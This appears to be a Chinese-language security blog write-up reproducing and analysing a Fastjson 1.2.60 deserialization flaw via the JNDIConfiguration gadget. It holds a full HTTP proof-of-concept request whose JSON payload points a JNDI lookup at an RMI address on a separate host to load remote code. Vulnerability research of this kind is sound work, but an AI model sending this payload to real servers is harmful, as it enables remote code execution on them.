0x01 漏洞背景
影響范圍:1.2.60
漏洞描述:該漏洞主要在開啟AutoTypeSupport情況下的利用,針對該gadget還沒在黑名單當中的利用。
0x02 漏洞復現
Poc1:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 110
{
"@type":"org.apache.commons.configuration.JNDIConfiguration",
"prefix":"rmi://192.168.52.129:9999/#Exploit"
}
0x03 漏洞分析
其他的流程都沒有變化,只是被找到了這條gadget剛剛好在黑名單之外。使用poc攻擊該寫好的接口應用(開啟AutoTypeSupport)。
從前面的分析便可知,在反序列化還原對象的時候,會先創建該類的對象,然后調用其set方法對相應屬性進行賦值,調用get方法對相應屬性進行值獲取。
在反序列化時,調用javabean的set方法對prefix進行賦值,如下
最終會調用org.apache.commons.configuration.JNDIConfiguration的setprefix方法進行賦值。
又由於在反序列化過程中,需要獲取反序列化對象的屬性值,因此調用了其get方法。
最終獲取baseContext屬性時,調用了JNDIConfiguration的getBaseContext方法
而BaseContext方法最終調用了lookup,且其參數可控,為我們的prefix參數。